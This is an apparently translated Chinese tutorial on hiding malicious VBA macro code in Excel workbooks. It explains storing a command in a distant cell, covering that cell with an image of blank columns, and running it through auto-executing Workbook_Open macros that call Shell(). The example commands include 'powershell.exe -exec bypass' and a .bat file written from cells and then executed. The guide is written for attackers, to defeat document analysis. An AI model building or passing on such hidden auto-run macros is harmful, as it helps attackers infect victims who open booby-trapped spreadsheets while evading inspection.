如何在Excel中更好地隱藏惡意宏代碼
你可能會問,為什么不簡單地使用實際上不涉及工作簿的代碼,以及主要原因是避免網(wǎng)絡(luò)流量。當(dāng)然,你可以簡單地添加宏,這些宏會將每行代碼添加到一個新文件中,以避免網(wǎng)絡(luò)流量,但是這樣做會使活動對于任何分析文檔的人來說都是顯而易見的,他們會在查看時立即看到新的代碼行宏。使用這種方法,它使得對惡意文檔的分析稍微困難一些,但是當(dāng)然不是很多。
注意:僅對文檔運行oledump或olevba之類的工具將返回宏。
此時你會看到,該宏正在從特定列中提取代碼并使用Shell()執(zhí)行該代碼,但該代碼顯然非??梢桑?/p>
而且,如果我們導(dǎo)航到代碼所在的BG1,我們不會立即看到任何可疑的東西:但是,如果將鼠標(biāo)懸停在BG1上(或者稍微靠近一下并注意到未對齊的列),那么你會看到在代碼上覆蓋了一個圖像:
顯然,更有耐心的人可以完善空列的屏幕截圖,并將其覆蓋在代碼頂部以使其不那么引人注意。揭示從工作表中提取的代碼的另一種方法是使用MsgBox:
1. 一組要覆蓋在代碼頂部的空列的屏幕截圖,例如:
2. 從工作簿中提取代碼并運行數(shù)據(jù)的宏:
- Private Sub Workbook_Open()
- Data = Sheet1.Range("BG1")
- Shell(Data)
- End Sub
Data = Sheet1.Range("BG1")僅查看位于BG1的行,提取該行中的所有內(nèi)容并將其放在變量Data中。
3. 打開文檔并在用戶單擊“啟用內(nèi)容”后將提取并執(zhí)行的代碼。
- powershell.exe -exec bypass -C echo "Hello world" > C:\Users\Desktop\Conduct\Desktop\test.txt
將代碼插入所需的任何列后,只需將空列的圖像插入代碼上方(插入>插圖>圖片)。
然后將宏插入ThisWorkbook并更改Range()部分以與你的列匹配。因此,如果你將數(shù)據(jù)插入A列并且位于第一行,它就是Range("A1")。
將多行寫入文件
向文件寫入多行只是小菜一碟,只需要添加幾行代碼即可。
使用的宏代碼如下所示:
- Private Sub Workbook_Open()
- 1. Dim Path As String
- 2. Dim FileNumber As Integer
- 3. FileNumber = FreeFile
- 4. Data = Sheet1.Range("BG1")
- 5. Data2 = Sheet1.Range("BG2")
- 6. Path = "test.bat"
- 7. Open Path For Output As FileNumber
- 8. Print #FileNumber, Data
- 9. Print #FileNumber, Data2
- 10. Close FileNumber
- 11. Shell(Path)
- End Sub
第1-3行是靜態(tài)的,保持原樣,它們只是定義使用的變量。第4-6行是動態(tài)的。你將需要根據(jù)excel工作表將4和5中的字符串更改為代碼所在的位置。將第6行更改為所需的文件路徑。
第7-9行也是動態(tài)的,它們僅打開文件并將已提取的數(shù)據(jù)寫入文件。特別是第8和9行是負(fù)責(zé)將數(shù)據(jù)寫入文件的行。
只需將要寫入文件的代碼插入到工作簿中,并記下該文件所在的列和行,并更改Data&Data1變量以與你的列和行匹配(如果需要的話,添加更多的變量)。然后,將工作簿中的代碼與空行的屏幕截圖疊加,然后開始就可以了!